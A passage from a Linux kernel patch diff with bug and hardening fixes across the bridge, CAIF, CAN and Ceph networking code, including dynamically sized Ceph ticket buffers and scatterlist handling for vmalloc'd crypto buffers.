call_usermodehelper(BR_STP_PROG, argv, envp, UMH_WAIT_PROC); + if (net_eq(dev_net(br->dev), &init_net)) + r = call_usermodehelper(BR_STP_PROG, argv, envp, UMH_WAIT_PROC); + else + r = -ENOENT; spin_lock_bh(&br->lock); @@ -241,12 +244,13 @@ bool br_stp_recalculate_bridge_id(struct net_bridge *br) return true; } -/* called under bridge lock */ +/* Acquires and releases bridge lock */ void br_stp_set_bridge_priority(struct net_bridge *br, u16 newprio) { struct net_bridge_port *p; int wasroot; + spin_lock_bh(&br->lock); wasroot = br_is_root_bridge(br); list_for_each_entry(p, &br->port_list, list) { @@ -264,6 +268,7 @@ void br_stp_set_bridge_priority(struct net_bridge *br, u16 newprio) br_port_state_selection(br); if (br_is_root_bridge(br) && !wasroot) br_become_root_bridge(br); + spin_unlock_bh(&br->lock); } /* called under bridge lock */ diff --git a/net/caif/caif_socket.c b/net/caif/caif_socket.c index 7a90e1c49ae94..a93bd97cba76d 100644 --- a/net/caif/caif_socket.c +++ b/net/caif/caif_socket.c @@ -283,7 +283,7 @@ static int caif_seqpkt_recvmsg(struct kiocb *iocb, struct socket *sock, int copylen; ret = -EOPNOTSUPP; - if (m->msg_flags&MSG_OOB) + if (flags & MSG_OOB) goto read_error; skb = skb_recv_datagram(sk, flags, 0 , &ret); @@ -332,6 +332,10 @@ static long caif_stream_data_wait(struct sock *sk, long timeo) release_sock(sk); timeo = schedule_timeout(timeo); lock_sock(sk); + + if (sock_flag(sk, SOCK_DEAD)) + break; + clear_bit(SOCK_ASYNC_WAITDATA, &sk->sk_socket->flags); } @@ -376,6 +380,10 @@ static int caif_stream_recvmsg(struct kiocb *iocb, struct socket *sock, struct sk_buff *skb; lock_sock(sk); + if (sock_flag(sk, SOCK_DEAD)) { + err = -ECONNRESET; + goto unlock; + } skb = skb_dequeue(&sk->sk_receive_queue); caif_check_flow_release(sk); diff --git a/net/can/af_can.c b/net/can/af_can.c index f59859a3f5620..d3668c55b088b 100644 --- a/net/can/af_can.c +++ b/net/can/af_can.c @@ -262,6 +262,9 @@ int can_send(struct sk_buff *skb, int loop) goto inval_skb; } + skb->ip_summed = CHECKSUM_UNNECESSARY; + + skb_reset_mac_header(skb); skb_reset_network_header(skb); skb_reset_transport_header(skb); diff --git a/net/ceph/auth_x.c b/net/ceph/auth_x.c index 96238ba95f2b6..de6662b14e1f5 100644 --- a/net/ceph/auth_x.c +++ b/net/ceph/auth_x.c @@ -13,8 +13,6 @@ #include "auth_x.h" #include "auth_x_protocol.h" -#define TEMP_TICKET_BUF_LEN 256 - static void ceph_x_validate_tickets(struct ceph_auth_client *ac, int *pneed); static int ceph_x_is_authenticated(struct ceph_auth_client *ac) @@ -64,7 +62,7 @@ static int ceph_x_encrypt(struct ceph_crypto_key *secret, } static int ceph_x_decrypt(struct ceph_crypto_key *secret, - void **p, void *end, void *obuf, size_t olen) + void **p, void *end, void **obuf, size_t olen) { struct ceph_x_encrypt_header head; size_t head_len = sizeof(head); @@ -75,8 +73,14 @@ static int ceph_x_decrypt(struct ceph_crypto_key *secret, return -EINVAL; dout("ceph_x_decrypt len %d\n", len); - ret = ceph_decrypt2(secret, &head, &head_len, obuf, &olen, - *p, len); + if (*obuf == NULL) { + *obuf = kmalloc(len, GFP_NOFS); + if (!*obuf) + return -ENOMEM; + olen = len; + } + + ret = ceph_decrypt2(secret, &head, &head_len, *obuf, &olen, *p, len); if (ret) return ret; if (head.struct_v != 1 || le64_to_cpu(head.magic) != CEPHX_ENC_MAGIC) @@ -129,139 +133,120 @@ static void remove_ticket_handler(struct ceph_auth_client *ac, kfree(th); } -static int ceph_x_proc_ticket_reply(struct ceph_auth_client *ac, - struct ceph_crypto_key *secret, - void *buf, void *end) +static int process_one_ticket(struct ceph_auth_client *ac, + struct ceph_crypto_key *secret, + void **p, void *end) { struct ceph_x_info *xi = ac->private; - int num; - void *p = buf; + int type; + u8 tkt_struct_v, blob_struct_v; + struct ceph_x_ticket_handler *th; + void *dbuf = NULL; + void *dp, *dend; + int dlen; + char is_enc; + struct timespec validity; + struct ceph_crypto_key old_key; + void *ticket_buf = NULL; + void *tp, *tpend; + struct ceph_timespec new_validity; + struct ceph_crypto_key new_session_key; + struct ceph_buffer *new_ticket_blob; + unsigned long new_expires, new_renew_after; + u64 new_secret_id; int ret; - char *dbuf; - char *ticket_buf; - u8 reply_struct_v; - dbuf = kmalloc(TEMP_TICKET_BUF_LEN, GFP_NOFS); - if (!dbuf) - return -ENOMEM; + ceph_decode_need(p, end, sizeof(u32) + 1, bad); - ret = -ENOMEM; - ticket_buf = kmalloc(TEMP_TICKET_BUF_LEN, GFP_NOFS); - if (!ticket_buf) - goto out_dbuf; + type = ceph_decode_32(p); + dout(" ticket type %d %s\n", type, ceph_entity_type_name(type)); - ceph_decode_need(&p, end, 1 + sizeof(u32), bad); - reply_struct_v = ceph_decode_8(&p); - if (reply_struct_v != 1) + tkt_struct_v = ceph_decode_8(p); + if (tkt_struct_v != 1) goto bad; - num = ceph_decode_32(&p); - dout("%d tickets\n", num); - while (num--) { - int type; - u8 tkt_struct_v, blob_struct_v; - struct ceph_x_ticket_handler *th; - void *dp, *dend; - int dlen; - char is_enc; - struct timespec validity; - struct ceph_crypto_key old_key; - void *tp, *tpend; - struct ceph_timespec new_validity; - struct ceph_crypto_key new_session_key; - struct ceph_buffer *new_ticket_blob; - unsigned long new_expires, new_renew_after; - u64 new_secret_id; - - ceph_decode_need(&p, end, sizeof(u32) + 1, bad); - - type = ceph_decode_32(&p); - dout(" ticket type %d %s\n", type, ceph_entity_type_name(type)); - - tkt_struct_v = ceph_decode_8(&p); - if (tkt_struct_v != 1) - goto bad; - - th = get_ticket_handler(ac, type); - if (IS_ERR(th)) { - ret = PTR_ERR(th); - goto out; - } - /* blob for me */ - dlen = ceph_x_decrypt(secret, &p, end, dbuf, - TEMP_TICKET_BUF_LEN); - if (dlen <= 0) { - ret = dlen; - goto out; - } - dout(" decrypted %d bytes\n", dlen); - dend = dbuf + dlen; - dp = dbuf; + th = get_ticket_handler(ac, type); + if (IS_ERR(th)) { + ret = PTR_ERR(th); + goto out; + } - tkt_struct_v = ceph_decode_8(&dp); - if (tkt_struct_v != 1) - goto bad; + /* blob for me */ + dlen = ceph_x_decrypt(secret, p, end, &dbuf, 0); + if (dlen <= 0) { + ret = dlen; + goto out; + } + dout(" decrypted %d bytes\n", dlen); + dp = dbuf; + dend = dp + dlen; - memcpy(&old_key, &th->session_key, sizeof(old_key)); - ret = ceph_crypto_key_decode(&new_session_key, &dp, dend); - if (ret) - goto out; + tkt_struct_v = ceph_decode_8(&dp); + if (tkt_struct_v != 1) + goto bad; - ceph_decode_copy(&dp, &new_validity, sizeof(new_validity)); - ceph_decode_timespec(&validity, &new_validity); - new_expires = get_seconds() + validity.tv_sec; - new_renew_after = new_expires - (validity.tv_sec / 4); - dout(" expires=%lu renew_after=%lu\n", new_expires, - new_renew_after); + memcpy(&old_key, &th->session_key, sizeof(old_key)); + ret = ceph_crypto_key_decode(&new_session_key, &dp, dend); + if (ret) + goto out; - /* ticket blob for service */ - ceph_decode_8_safe(&p, end, is_enc, bad); - tp = ticket_buf; - if (is_enc) { - /* encrypted */ - dout(" encrypted ticket\n"); - dlen = ceph_x_decrypt(&old_key, &p, end, ticket_buf, - TEMP_TICKET_BUF_LEN); - if (dlen < 0) { - ret = dlen; - goto out; - } - dlen = ceph_decode_32(&tp); - } else { - /* unencrypted */ - ceph_decode_32_safe(&p, end, dlen, bad); - ceph_decode_need(&p, end, dlen, bad); - ceph_decode_copy(&p, ticket_buf, dlen); + ceph_decode_copy(&dp, &new_validity, sizeof(new_validity)); + ceph_decode_timespec(&validity, &new_validity); + new_expires = get_seconds() + validity.tv_sec; + new_renew_after = new_expires - (validity.tv_sec / 4); + dout(" expires=%lu renew_after=%lu\n", new_expires, + new_renew_after); + + /* ticket blob for service */ + ceph_decode_8_safe(p, end, is_enc, bad); + if (is_enc) { + /* encrypted */ + dout(" encrypted ticket\n"); + dlen = ceph_x_decrypt(&old_key, p, end, &ticket_buf, 0); + if (dlen < 0) { + ret = dlen; + goto out; } - tpend = tp + dlen; - dout(" ticket blob is %d bytes\n", dlen); - ceph_decode_need(&tp, tpend, 1 + sizeof(u64), bad); - blob_struct_v = ceph_decode_8(&tp); - new_secret_id = ceph_decode_64(&tp); - ret = ceph_decode_buffer(&new_ticket_blob, &tp, tpend); - if (ret) + tp = ticket_buf; + dlen = ceph_decode_32(&tp); + } else { + /* unencrypted */ + ceph_decode_32_safe(p, end, dlen, bad); + ticket_buf = kmalloc(dlen, GFP_NOFS); + if (!ticket_buf) { + ret = -ENOMEM; goto out; - - /* all is well, update our ticket */ - ceph_crypto_key_destroy(&th->session_key); - if (th->ticket_blob) - ceph_buffer_put(th->ticket_blob); - th->session_key = new_session_key; - th->ticket_blob = new_ticket_blob; - th->validity = new_validity; - th->secret_id = new_secret_id; - th->expires = new_expires; - th->renew_after = new_renew_after; - dout(" got ticket service %d (%s) secret_id %lld len %d\n", - type, ceph_entity_type_name(type), th->secret_id, - (int)th->ticket_blob->vec.iov_len); - xi->have_keys |= th->service; + } + tp = ticket_buf; + ceph_decode_need(p, end, dlen, bad); + ceph_decode_copy(p, ticket_buf, dlen); } + tpend = tp + dlen; + dout(" ticket blob is %d bytes\n", dlen); + ceph_decode_need(&tp, tpend, 1 + sizeof(u64), bad); + blob_struct_v = ceph_decode_8(&tp); + new_secret_id = ceph_decode_64(&tp); + ret = ceph_decode_buffer(&new_ticket_blob, &tp, tpend); + if (ret) + goto out; + + /* all is well, update our ticket */ + ceph_crypto_key_destroy(&th->session_key); + if (th->ticket_blob) + ceph_buffer_put(th->ticket_blob); + th->session_key = new_session_key; + th->ticket_blob = new_ticket_blob; + th->validity = new_validity; + th->secret_id = new_secret_id; + th->expires = new_expires; + th->renew_after = new_renew_after; + dout(" got ticket service %d (%s) secret_id %lld len %d\n", + type, ceph_entity_type_name(type), th->secret_id, + (int)th->ticket_blob->vec.iov_len); + xi->have_keys |= th->service; - ret = 0; out: kfree(ticket_buf); -out_dbuf: kfree(dbuf); return ret; @@ -270,6 +255,34 @@ static int ceph_x_proc_ticket_reply(struct ceph_auth_client *ac, goto out; } +static int ceph_x_proc_ticket_reply(struct ceph_auth_client *ac, + struct ceph_crypto_key *secret, + void *buf, void *end) +{ + void *p = buf; + u8 reply_struct_v; + u32 num; + int ret; + + ceph_decode_8_safe(&p, end, reply_struct_v, bad); + if (reply_struct_v != 1) + return -EINVAL; + + ceph_decode_32_safe(&p, end, num, bad); + dout("%d tickets\n", num); + + while (num--) { + ret = process_one_ticket(ac, secret, &p, end); + if (ret) + return ret; + } + + return 0; + +bad: + return -EINVAL; +} + static int ceph_x_build_authorizer(struct ceph_auth_client *ac, struct ceph_x_ticket_handler *th, struct ceph_x_authorizer *au) @@ -583,13 +596,14 @@ static int ceph_x_verify_authorizer_reply(struct ceph_auth_client *ac, struct ceph_x_ticket_handler *th; int ret = 0; struct ceph_x_authorize_reply reply; + void *preply = &reply; void *p = au->reply_buf; void *end = p + sizeof(au->reply_buf); th = get_ticket_handler(ac, au->service); if (IS_ERR(th)) return PTR_ERR(th); - ret = ceph_x_decrypt(&th->session_key, &p, end, &reply, sizeof(reply)); + ret = ceph_x_decrypt(&th->session_key, &p, end, &preply, sizeof(reply)); if (ret < 0) return ret; if (ret != sizeof(reply)) diff --git a/net/ceph/crypto.c b/net/ceph/crypto.c index 6e7a236525b6f..06f19b9e159a3 100644 --- a/net/ceph/crypto.c +++ b/net/ceph/crypto.c @@ -89,11 +89,82 @@ static struct crypto_blkcipher *ceph_crypto_alloc_cipher(void) static const u8 *aes_iv = (u8 *)CEPH_AES_IV; +/* + * Should be used for buffers allocated with ceph_kvmalloc(). + * Currently these are encrypt out-buffer (ceph_buffer) and decrypt + * in-buffer (msg front). + * + * Dispose of @sgt with teardown_sgtable(). + * + * @prealloc_sg is to avoid memory allocation inside sg_alloc_table() + * in cases where a single sg is sufficient. No attempt to reduce the + * number of sgs by squeezing physically contiguous pages together is + * made though, for simplicity. + */ +static int setup_sgtable(struct sg_table *sgt, struct scatterlist *prealloc_sg, + const void *buf, unsigned int buf_len) +{ + struct scatterlist *sg; + const bool is_vmalloc = is_vmalloc_addr(buf); + unsigned int off = offset_in_page(buf); + unsigned int chunk_cnt = 1; + unsigned int chunk_len = PAGE_ALIGN(off + buf_len); + int i; + int ret; + + if (buf_len == 0) { + memset(sgt, 0, sizeof(*sgt)); + return -EINVAL; + } + + if (is_vmalloc) { + chunk_cnt = chunk_len >> PAGE_SHIFT; + chunk_len = PAGE_SIZE; + } + + if (chunk_cnt > 1) { + ret = sg_alloc_table(sgt, chunk_cnt, GFP_NOFS); + if (ret) + return ret; + } else { + WARN_ON(chunk_cnt != 1); + sg_init_table(prealloc_sg, 1); + sgt->sgl = prealloc_sg; + sgt->nents = sgt->orig_nents = 1; + } + + for_each_sg(sgt->sgl, sg, sgt->orig_nents, i) { + struct page *page; + unsigned int len = min(chunk_len - off, buf_len); + + if (is_vmalloc) + page = vmalloc_to_page(buf); + else + page = virt_to_page(buf); + + sg_set_page(sg, page, len, off); + + off = 0; + buf += len; + buf_len -= len; + } + WARN_ON(buf_len != 0); + + return 0; +} + +static void teardown_sgtable(struct sg_table *sgt) +{ + if (sgt->orig_nents > 1) + sg_free_table(sgt); +} + static int ceph_aes_encrypt(const void *key, int key_len, void *dst, size_t *dst_len, const void *src, size_t src_len) { - struct scatterlist sg_in[2], sg_out[1]; + struct scatterlist sg_in[2], prealloc_sg; + struct sg_table sg_out; struct crypto_blkcipher *tfm = ceph_crypto_alloc_cipher(); struct blkcipher_desc desc = { .tfm = tfm, .flags = 0 }; int ret; @@ -109,16 +180,18 @@ static int ceph_aes_encrypt(const void *key, int key_len, *dst_len = src_len + zero_padding; - crypto_blkcipher_setkey((void *)tfm, key, key_len); sg_init_table(sg_in, 2); sg_set_buf(&sg_in[0], src, src_len); sg_set_buf(&sg_in[1], pad, zero_padding); - sg_init_table(sg_out, 1); - sg_set_buf(sg_out, dst, *dst_len); + ret = setup_sgtable(&sg_out, &prealloc_sg, dst, *dst_len); + if (ret) + goto out_tfm; + + crypto_blkcipher_setkey((void *)tfm, key, key_len); iv = crypto_blkcipher_crt(tfm)->iv; ivsize = crypto_blkcipher_ivsize(tfm); - memcpy(iv, aes_iv, ivsize); + /* print_hex_dump(KERN_ERR, "enc key: ", DUMP_PREFIX_NONE, 16, 1, key, key_len, 1); @@ -127,16 +200,22 @@ static int ceph_aes_encrypt(const void *key, int key_len, print_hex_dump(KERN_ERR, "enc pad: ", DUMP_PREFIX_NONE, 16, 1, pad, zero_padding, 1); */ - ret = crypto_blkcipher_encrypt(&desc, sg_out, sg_in, + ret = crypto_blkcipher_encrypt(&desc, sg_out.sgl, sg_in, src_len + zero_padding); - crypto_free_blkcipher(tfm); - if (ret < 0) + if (ret < 0) { pr_err("ceph_aes_crypt failed %d\n", ret); + goto out_sg; + } /* print_hex_dump(KERN_ERR, "enc out: ", DUMP_PREFIX_NONE, 16, 1, dst, *dst_len, 1); */ - return 0; + +out_sg: + teardown_sgtable(&sg_out); +out_tfm: + crypto_free_blkcipher(tfm); + return ret; } static int ceph_aes_encrypt2(const void *key, int key_len, void *dst, @@ -144,7 +223,8 @@ static int ceph_aes_encrypt2(const void *key, int key_len, void *dst, const void *src1, size_t src1_len, const void *src2, size_t src2_len) { - struct scatterlist sg_in[3], sg_out[1]; + struct scatterlist sg_in[3], prealloc_sg; + struct sg_table sg_out; struct crypto_blkcipher *tfm = ceph_crypto_alloc_cipher(); struct blkcipher_desc desc = { .tfm = tfm, .flags = 0 }; int ret; @@ -160,17 +240,19 @@ static int ceph_aes_encrypt2(const void *key, int key_len, void *dst, *dst_len = src1_len + src2_len + zero_padding; - crypto_blkcipher_setkey((void *)tfm, key, key_len); sg_init_table(sg_in, 3); sg_set_buf(&sg_in[0], src1, src1_len); sg_set_buf(&sg_in[1], src2, src2_len); sg_set_buf(&sg_in[2], pad, zero_padding); - sg_init_table(sg_out, 1); - sg_set_buf(sg_out, dst, *dst_len); + ret = setup_sgtable(&sg_out, &prealloc_sg, dst, *dst_len); + if (ret) + goto out_tfm; + + crypto_blkcipher_setkey((void *)tfm, key, key_len); iv = crypto_blkcipher_crt(tfm)->iv; ivsize = crypto_blkcipher_ivsize(tfm); - memcpy(iv, aes_iv, ivsize); + /* print_hex_dump(KERN_ERR, "enc key: ", DUMP_PREFIX_NONE, 16, 1, key, key_len, 1); @@ -181,23 +263,30 @@ static int ceph_aes_encrypt2(const void *key, int key_len, void *dst, print_hex_dump(KERN_ERR, "enc pad: ", DUMP_PREFIX_NONE, 16, 1, pad, zero_padding, 1); */ - ret = crypto_blkcipher_encrypt(&desc, sg_out, sg_in, + ret = crypto_blkcipher_encrypt(&desc, sg_out.sgl, sg_in, src1_len + src2_len + zero_padding); - crypto_free_blkcipher(tfm); - if (ret < 0) + if (ret < 0) { pr_err("ceph_aes_crypt2 failed %d\n", ret); + goto out_sg; + } /* print_hex_dump(KERN_ERR, "enc out: ", DUMP_PREFIX_NONE, 16, 1, dst, *dst_len, 1); */ - return 0; + +out_sg: + teardown_sgtable(&sg_out); +out_tfm: + crypto_free_blkcipher(tfm); + return ret; } static int ceph_aes_decrypt(const void *key, int key_len, void *dst, size_t *dst_len, const void *src, size_t src_len) { - struct scatterlist sg_in[1], sg_out[2]; + struct sg_table sg_in; + struct scatterlist sg_out[2], prealloc_sg; struct crypto_blkcipher *tfm = ceph_crypto_alloc_cipher(); struct blkcipher_desc desc = { .tfm = tfm }; char pad[16]; @@ -209,16 +298,16 @@ static int ceph_aes_decrypt(const void *key, int key_len, if (IS_ERR(tfm)) return PTR_ERR(tfm); - crypto_blkcipher_setkey((void *)tfm, key, key_len); - sg_init_table(sg_in, 1); sg_init_table(sg_out, 2); - sg_set_buf(sg_in, src, src_len); sg_set_buf(&sg_out[0], dst, *dst_len); sg_set_buf(&sg_out[1], pad, sizeof(pad)); + ret = setup_sgtable(&sg_in, &prealloc_sg, src, src_len); + if (ret) + goto out_tfm; + crypto_blkcipher_setkey((void *)tfm, key, key_len); iv = crypto_blkcipher_crt(tfm)->iv; ivsize = crypto_blkcipher_ivsize(tfm); - memcpy(iv, aes_iv, ivsize); /* @@ -227,12 +316,10 @@ static int ceph_aes_decrypt(const void *key, int key_len, print_hex_dump(KERN_ERR, "dec in: ", DUMP_PREFIX_NONE, 16, 1, src, src_len, 1); */ - - ret = crypto_blkcipher_decrypt(&desc, sg_out, sg_in, src_len); - crypto_free_blkcipher(tfm); + ret = crypto_blkcipher_decrypt(&desc, sg_out, sg_in.sgl, src_len); if (ret < 0) { pr_err("ceph_aes_decrypt failed %d\n", ret); - return ret; + goto out_sg; } if (src_len <= *dst_len) @@ -250,7 +337,12 @@ static int ceph_aes_decrypt(const void *key, int key_len, print_hex_dump(KERN_ERR, "dec out: ", DUMP_PREFIX_NONE, 16, 1, dst, *dst_len, 1); */ - return 0; + +out_sg: + teardown_sgtable(&sg_in); +out_tfm: + crypto_free_blkcipher(tfm); + return ret; } static int ceph_aes_decrypt2(const void *key, int key_len, @@ -258,7 +350,8 @@ static int ceph_aes_decrypt2(const void *key, int key_len, void *dst2, size_t *dst2_len, const void *src, size_t src_len) { - struct scatterlist sg_in[1], sg_out[3]; + struct sg_table sg_in; + struct scatterlist sg_out[3], prealloc_sg; struct crypto_blkcipher *tfm = ceph_crypto_alloc_cipher(); struct blkcipher_desc desc = { .tfm = tfm }; char pad[16]; @@ -270,17 +363,17 @@ static int ceph_aes_decrypt2(const void *key, int key_len, if (IS_ERR(tfm)) return PTR_ERR(tfm); - sg_init_table(sg_in, 1); - sg_set_buf(sg_in, src, src_len); sg_init_table(sg_out, 3); sg_set_buf(&sg_out[0], dst1, *dst1_len); sg_set_buf(&sg_out[1], dst2, *dst2_len); sg_set_buf(&sg_out[2], pad, sizeof(pad)); + ret = setup_sgtable(&sg_in, &prealloc_sg, src, src_len); + if (ret) + goto out_tfm; crypto_blkcipher_setkey((void *)tfm, key, key_len); iv = crypto_blkcipher_crt(tfm)->iv; ivsize = crypto_blkcipher_ivsize(tfm); - memcpy(iv, aes_iv, ivsize); /* @@ -289,12 +382,10 @@ static int ceph_aes_decrypt2(const void *key, int key_len, print_hex_dump(KERN_ERR, "dec in: ", DUMP_PREFIX_NONE, 16, 1, src, src_len, 1); */ - - ret = crypto_blkcipher_decrypt(&desc, sg_out, sg_in, src_len); - crypto_free_blkcipher(tfm); + ret = crypto_blkcipher_decrypt(&desc, sg_out, sg_in.sgl, src_len); if (ret < 0) { pr_err("ceph_aes_decrypt failed %d\n", ret); - return ret; + goto out_sg; } if (src_len <= *dst1_len) @@ -324,7 +415,11 @@ static int ceph_aes_decrypt2(const void *key, int key_len, dst2, *dst2_len, 1); */ - return 0; +out_sg: + teardown_sgtable(&sg_in); +out_tfm: + crypto_free_blkcipher(tfm); + return ret; } diff --git a/net/ceph/messenger.c b/net/ceph/messenger.c index b9d7df1757007..025ced8fbb577 100644 --- a/net/ceph/messenger.c +++ b/net/ceph/messenger.c @@ -290,7 +290,8 @@ int ceph_msgr_init(void) if (ceph_msgr_slab_init()) return -ENOMEM; - ceph_msgr_wq = alloc_workqueue("ceph-msgr", WQ_NON_REENTRANT, 0); + ceph_msgr_wq = alloc_workqueue("ceph-msgr", + WQ_NON_REENTRANT | WQ_MEM_RECLAIM, 0); if (ceph_msgr_wq) return 0; @@ -904,7 +905,7 @@ static void ceph_msg_data_pages_cursor_init(struct ceph_msg_data_cursor *cursor, BUG_ON(page_count > (int)USHRT_MAX); cursor->page_count = (unsigned short)page_count; BUG_ON(length > SIZE_MAX - cursor->page_offset); - cursor->last_piece = (size_t)cursor->page_offset + length <= PAGE_SIZE; + cursor->last_piece = cursor->page_offset + cursor->resid <= PAGE_SIZE; } static struct page * @@ -2276,7 +2277,7 @@ static int read_partial_message(struct ceph_connection *con) con->in_base_pos = -front_len - middle_len - data_len - sizeof(m->footer); con->in_tag = CEPH_MSGR_TAG_READY; - return 0; + return 1; } else if ((s64)seq - (s64)con->in_seq > 1) { pr_err("read_partial_message bad seq %lld expected %lld\n", seq, con->in_seq + 1); @@ -2309,7 +2310,7 @@ static int read_partial_message(struct ceph_connection *con) sizeof(m->footer); con->in_tag = CEPH_MSGR_TAG_READY; con->in_seq++; - return 0; + return 1; } BUG_ON(!con->in_msg); @@ -3144,7 +3145,7 @@ struct ceph_msg *ceph_msg_new(int type, int front_len, gfp_t flags, INIT_LIST_HEAD(&m->data); /* front */ - m->front_max = front_len; + m->front_alloc_len = front_len; if (front_len) { if (front_len > PAGE_CACHE_SIZE) { m->front.iov_base = __vmalloc(front_len, flags, @@ -3319,8 +3320,8 @@ EXPORT_SYMBOL(ceph_msg_last_put); void ceph_msg_dump(struct ceph_msg *msg) { - pr_debug("msg_dump %p (front_max %d length %zd)\n", msg, - msg->front_max, msg->data_length); + pr_debug("msg_dump %p (front_alloc_len %d length %zd)\n", msg, + msg->front_alloc_len, msg->data_length); print_hex_dump(KERN_DEBUG, "header: ", DUMP_PREFIX_OFFSET, 16, 1, &msg->hdr, sizeof(msg->hdr), true); diff --git a/net/ceph/mon_client.c b/net/ceph/mon_client.c index 1fe25cd29d0ec..dbcbf5a4707fa 100644 --- a/net/ceph/mon_client.c +++ b/net/ceph/mon_client.c @@ -152,7 +152,7 @@ static int __open_session(struct ceph_mon_client *monc) /* initiatiate authentication handshake */ ret = ceph_auth_build_hello(monc->auth, monc->m_auth->front.iov_base, - monc->m_auth->front_max); + monc->m_auth->front_alloc_len); __send_prepared_auth_request(monc, ret); } else { dout("open_session mon%d already open\n", monc->cur_mon); @@ -196,7 +196,7 @@ static void __send_subscribe(struct ceph_mon_client *monc) int num; p = msg->front.iov_base; - end = p + msg->front_max; + end = p + msg->front_alloc_len; num = 1 + !!monc->want_next_osdmap + !!monc->want_mdsmap; ceph_encode_32(&p, num); @@ -897,7 +897,7 @@ static void handle_auth_reply(struct ceph_mon_client *monc, ret = ceph_handle_auth_reply(monc->auth, msg->front.iov_base, msg->front.iov_len, monc->m_auth->front.iov_base, - monc->m_auth->front_max); + monc->m_auth->front_alloc_len); if (ret < 0) { monc->client->auth_err = ret; wake_up_all(&monc->client->auth_wq); @@ -939,7 +939,7 @@ static int __validate_auth(struct ceph_mon_client *monc) return 0; ret = ceph_build_auth(monc->auth, monc->m_auth->front.iov_base, - monc->m_auth->front_max); + monc->m_auth->front_alloc_len); if (ret <= 0) return ret; /* either an error, or no need to authenticate */ __send_prepared_auth_request(monc, ret); @@ -1041,7 +1041,15 @@ static struct ceph_msg *mon_alloc_msg(struct ceph_connection *con, if (!m) { pr_info("alloc_msg unknown type %d\n", type); *skip = 1; + } else if (front_len > m->front_alloc_len) { + pr_warning("mon_alloc_msg front %d > prealloc %d (%u#%llu)\n", + front_len, m->front_alloc_len, + (unsigned int)con->peer_name.type, + le64_to_cpu(con->peer_name.num)); + ceph_msg_put(m); + m = ceph_msg_new(type, front_len, GFP_NOFS, false); } + return m; } diff --git a/net/ceph/osd_client.c b/net/ceph/osd_client.c index 3663a305daf71..7665ce336e2bb 100644 --- a/net/ceph/osd_client.c +++ b/net/ceph/osd_client.c @@ -967,12 +967,24 @@ static void put_osd(struct ceph_osd *osd) */ static void __remove_osd(struct ceph_osd_client *osdc, struct ceph_osd *osd) { - dout("__remove_osd %p\n", osd); - BUG_ON(!list_empty(&osd->o_requests)); - rb_erase(&osd->o_node, &osdc->osds); + dout("%s %p osd%d\n", __func__, osd, osd->o_osd); + WARN_ON(!list_empty(&osd->o_requests)); + WARN_ON(!list_empty(&osd->o_linger_requests)); + list_del_init(&osd->o_osd_lru); - ceph_con_close(&osd->o_con); - put_osd(osd); + rb_erase(&osd->o_node, &osdc->osds); + RB_CLEAR_NODE(&osd->o_node); +} + +static void remove_osd(struct ceph_osd_client *osdc, struct ceph_osd *osd) +{ + dout("%s %p osd%d\n", __func__, osd, osd->o_osd); + + if (!RB_EMPTY_NODE(&osd->o_node)) { + ceph_con_close(&osd->o_con); + __remove_osd(osdc, osd); + put_osd(osd); + } } static void remove_all_osds(struct ceph_osd_client *osdc) @@ -982,7 +994,7 @@ static void remove_all_osds(struct ceph_osd_client *osdc) while (!RB_EMPTY_ROOT(&osdc->osds)) { struct ceph_osd *osd = rb_entry(rb_first(&osdc->osds), struct ceph_osd, o_node); - __remove_osd(osdc, osd); + remove_osd(osdc, osd); } mutex_unlock(&osdc->request_mutex); } @@ -1012,7 +1024,7 @@ static void remove_old_osds(struct ceph_osd_client *osdc) list_for_each_entry_safe(osd, nosd, &osdc->osd_lru, o_osd_lru) { if (time_before(jiffies, osd->lru_ttl)) break; - __remove_osd(osdc, osd); + remove_osd(osdc, osd); } mutex_unlock(&osdc->request_mutex); } @@ -1027,8 +1039,7 @@ static int __reset_osd(struct ceph_osd_client *osdc, struct ceph_osd *osd) dout("__reset_osd %p osd%d\n", osd, osd->o_osd); if (list_empty(&osd->o_requests) && list_empty(&osd->o_linger_requests)) { - __remove_osd(osdc, osd); - + remove_osd(osdc, osd); return -ENODEV; } @@ -1610,6 +1621,7 @@ static void reset_changed_osds(struct ceph_osd_client *osdc) { struct rb_node *p, *n; + dout("%s %p\n", __func__, osdc); for (p = rb_first(&osdc->osds); p; p = n) { struct ceph_osd *osd = rb_entry(p, struct ceph_osd, o_node); @@ -1690,20 +1702,29 @@ static void kick_requests(struct ceph_osd_client *osdc, bool force_resend, err = __map_request(osdc, req, force_resend || force_resend_writes); dout("__map_request returned %d\n", err); - if (err == 0) - continue; /* no change and no osd was specified */ if (err < 0) continue; /* hrm! */ - if (req->r_osd == NULL) { - dout("tid %llu maps to no valid osd\n", req->r_tid); - needmap++; /* request a newer map */ - continue; - } + if (req->r_osd == NULL || err > 0) { + if (req->r_osd == NULL) { + dout("lingering %p tid %llu maps to no osd\n", + req, req->r_tid); + /* + * A homeless lingering request makes + * no sense, as it's job is to keep + * a particular OSD connection open. + * Request a newer map and kick the + * request, knowing that it won't be + * resent until we actually get a map + * that can tell us where to send it. + */ + needmap++; + } - dout("kicking lingering %p tid %llu osd%d\n", req, req->r_tid, - req->r_osd ? req->r_osd->o_osd : -1); - __register_request(osdc, req); - __unregister_linger_request(osdc, req); + dout("kicking lingering %p tid %llu osd%d\n", req, + req->r_tid, req->r_osd ? req->r_osd->o_osd : -1); + __register_request(osdc, req); + __unregister_linger_request(osdc, req); + } } reset_changed_osds(osdc); mutex_unlock(&osdc->request_mutex); diff --git a/net/ceph/osdmap.c b/net/ceph/osdmap.c index dbd9a47924274..c1de8d404c47e 100644 --- a/net/ceph/osdmap.c +++ b/net/ceph/osdmap.c @@ -89,7 +89,7 @@ static int crush_decode_tree_bucket(void **p, void *end, { int j; dout("crush_decode_tree_bucket %p to %p\n", *p, end); - ceph_decode_32_safe(p, end, b->num_nodes, bad); + ceph_decode_8_safe(p, end, b->num_nodes, bad); b->node_weights = kcalloc(b->num_nodes, sizeof(u32), GFP_NOFS); if (b->node_weights == NULL) return -ENOMEM; @@ -797,6 +797,110 @@ struct ceph_osdmap *osdmap_decode(void **p, void *end) return ERR_PTR(err); } +/* + * Encoding order is (new_up_client, new_state, new_weight). Need to + * apply in the (new_weight, new_state, new_up_client) order, because + * an incremental map may look like e.g. + * + * new_up_client: { osd=6, addr=... } # set osd_state and addr + * new_state: { osd=6, xorstate=EXISTS } # clear osd_state + */ +static int decode_new_up_state_weight(void **p, void *end, + struct ceph_osdmap *map) +{ + void *new_up_client; + void *new_state; + void *new_weight_end; + u32 len; + + new_up_client = *p; + ceph_decode_32_safe(p, end, len, e_inval); + len *= sizeof(u32) + 